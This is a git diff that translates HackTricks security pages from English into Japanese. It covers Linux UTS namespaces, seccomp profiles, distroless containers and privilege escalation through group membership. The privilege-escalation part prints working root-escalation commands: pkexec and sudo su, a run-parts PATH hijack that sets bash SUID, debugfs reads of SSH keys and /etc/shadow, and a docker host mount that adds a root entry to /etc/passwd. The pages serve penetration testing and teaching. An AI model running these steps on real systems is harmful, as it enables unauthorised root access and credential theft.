UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して、それぞれホスト名とNISドメイン名を**変更することができます**。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。 +3. プロセスは、`setns()`システムコールを使用して名前空間間を移動するか、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUTS`フラグで新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てることができません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は `unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### すべてのUTS名前空間を見つける ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### UTS ネームスペースに入る ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..f31a6cadf 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**(セキュアコンピューティングモードの略)は、**Linuxカーネルのシステムコールをフィルタリングするためのセキュリティ機能**です。これは、プロセスを限られたセットのシステムコール(既にオープンしているファイルディスクリプタに対する`exit()`、`sigreturn()`、`read()`、および`write()`)に制限します。プロセスが他のシステムコールを呼び出そうとすると、カーネルによってSIGKILLまたはSIGSYSで終了されます。このメカニズムはリソースを仮想化するのではなく、プロセスをそれらから隔離します。 -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +seccompを有効にする方法は2つあります:`PR_SET_SECCOMP`を使用した`prctl(2)`システムコール、またはLinuxカーネル3.17以降の場合は`seccomp(2)`システムコールです。`/proc/self/seccomp`に書き込む古い方法は、`prctl()`に取って代わられました。 -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +拡張機能である**seccomp-bpf**は、Berkeley Packet Filter(BPF)ルールを使用してカスタマイズ可能なポリシーでシステムコールをフィルタリングする機能を追加します。この拡張は、OpenSSH、vsftpd、Chrome OSおよびLinux上のChrome/Chromiumブラウザなどのソフトウェアによって利用され、柔軟で効率的なシステムコールフィルタリングを提供し、現在はサポートされていないLinux用のsystraceの代替手段を提供します。 -### **Original/Strict Mode** - -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +### **オリジナル/厳格モード** +このモードでは、Seccompは**`exit()`、`sigreturn()`、`read()`、および`write()`**のシステムコールのみを既にオープンしているファイルディスクリプタに対して許可します。他のシステムコールが行われると、プロセスはSIGKILLで終了されます。 ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +このモードは、**Berkeley Packet Filter ルールを使用して実装された構成可能なポリシーを使用してシステムコールをフィルタリングすることを許可します**。 ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` +## DockerにおけるSeccomp -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf**は、**Docker**によってサポートされており、コンテナからの**syscalls**を制限することで、攻撃面を効果的に減少させます。**デフォルト**でブロックされている**syscalls**は[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)で確認でき、**デフォルトのseccompプロファイル**はここで見つけることができます[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\ +異なるseccompポリシーでdockerコンテナを実行するには、次のようにします: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +コンテナが `uname` のような **syscall** を実行することを **禁止** したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) からデフォルトプロファイルをダウンロードし、リストから **`uname` 文字列を削除** するだけです。\ +**dockerコンテナ内で特定のバイナリが動作しないことを確認** したい場合は、straceを使用してバイナリが使用しているsyscallsをリストし、それらを禁止することができます。\ +次の例では、`uname` の **syscalls** が発見されます: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> アプリケーションを起動するために**Dockerを使用しているだけ**の場合、**`strace`**で**プロファイル**を作成し、必要なシステムコールのみを**許可**できます。 -### Example Seccomp policy +### 例 Seccomp ポリシー -[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +[こちらからの例](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +Seccomp機能を示すために、以下のように「chmod」システムコールを無効にするSeccompプロファイルを作成しましょう。 ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +上記のプロファイルでは、デフォルトのアクションを「allow」に設定し、「chmod」を無効にするためのブラックリストを作成しました。より安全にするために、デフォルトのアクションをドロップに設定し、システムコールを選択的に有効にするためのホワイトリストを作成できます。\ +以下の出力は、「chmod」コールがseccompプロファイルで無効になっているため、エラーを返すことを示しています。 ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +次の出力は、プロファイルを表示する“docker inspect”を示しています: ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..afe329b75 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,27 +4,27 @@ ## What is Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Distrolessコンテナは、**特定のアプリケーションを実行するために必要な依存関係のみを含む**コンテナの一種であり、必要のない追加のソフトウェアやツールは含まれていません。これらのコンテナは、**軽量**で**安全**であることを目的としており、不要なコンポーネントを削除することで**攻撃面を最小限に抑える**ことを目指しています。 -Distroless containers are often used in **production environments where security and reliability are paramount**. +Distrolessコンテナは、**セキュリティと信頼性が最も重要な**プロダクション環境でよく使用されます。 -Some **examples** of **distroless containers** are: +**Distrolessコンテナのいくつかの例**は次のとおりです: -- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +- **Google**が提供: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +- **Chainguard**が提供: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) ## Weaponizing Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +Distrolessコンテナを武器化する目的は、**distrolessによって示される制限**(システム内の一般的なバイナリの欠如)や、**読み取り専用**や**実行不可**といったコンテナに一般的に見られる保護にもかかわらず、**任意のバイナリやペイロードを実行できる**ようにすることです。 ### Through memory -Coming at some point of 2023... +2023年のある時点で... ### Via Existing binaries #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**この投稿では、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) バイナリ **`openssl`** がこれらのコンテナに頻繁に見られることが説明されており、これはコンテナ内で実行されるソフトウェアに**必要とされる**可能性があります。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..bc7333e67 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# 興味深いグループ - Linux Privesc {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Sudo/Admin グループ -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - メソッド 1** +**時々**、**デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +この場合、**rootになるには次のように実行するだけです**: ``` sudo su ``` - ### PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +バイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\ +これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的にどのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxディストリビューションでは、**sudo**および**admin**グループが表示されるかを見つけることができます。 -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +**rootになるには、次のコマンドを実行できます**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +**pkexec**を実行しようとしたときにこの**エラー**が表示される場合: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策はここにあります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - ## Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます: ``` %wheel ALL=(ALL:ALL) ALL ``` +これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +この場合、**rootになるには、単に次を実行すればよい**: ``` sudo su ``` - ## Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**shadow** グループのユーザーは **/etc/shadow** ファイルを **読み取る** ことができます: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +なので、ファイルを読み、**ハッシュをいくつかクラック**してみてください。 -So, read the file and try to **crack some hashes**. +## スタッフグループ -## Staff Group - -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**staff**: ユーザーがルート権限を必要とせずにシステムにローカルな変更を加えることを許可します(`/usr/local`)。 `/usr/local/bin`内の実行可能ファイルは、すべてのユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) +debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。 ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` +`/usr/local`にあるいくつかのプログラムをハイジャックできれば、簡単にrootを取得できます。 -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです(crontabやSSHログイン時など)。 ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +または新しいsshセッションにログインしたとき。 ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**エクスプロイト** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +128,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` +## ディスクグループ -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。 +ファイル: `/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +141,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +debugfsを使用すると、**ファイルを書き込む**こともできることに注意してください。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. +しかし、**rootが所有するファイル**(例えば`/etc/shadow`や`/etc/passwd`)に**書き込もうとすると**、「**Permission denied**」エラーが発生します。 ## Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +**生の画像**を**開く**には、**GIMP**を使用し、**`screen.raw`**ファイルを選択し、ファイルタイプとして**Raw image data**を選択します: ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して(画面をより良く表示するものを選択します): ![](<../../../images/image (317).png>) ## Root Group -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +デフォルトでは、**rootグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです... +**rootメンバーが変更できるファイルを確認する**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Dockerグループ -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +ホストマシンの**ルートファイルシステムをインスタンスのボリュームにマウント**できます。これにより、インスタンスが起動するとすぐにそのボリュームに`chroot`がロードされます。これにより、実質的にマシン上でルート権限を得ることができます。 ```bash docker image #Get images from the docker service @@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +最後に、以前の提案が気に入らない場合や、何らかの理由で機能しない場合(docker api firewall?)、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試みることができます: {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +dockerソケットに書き込み権限がある場合は、[**dockerソケットを悪用して特権を昇格させる方法に関するこの投稿を読んでください**](../#writable-docker-socket)**。** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} 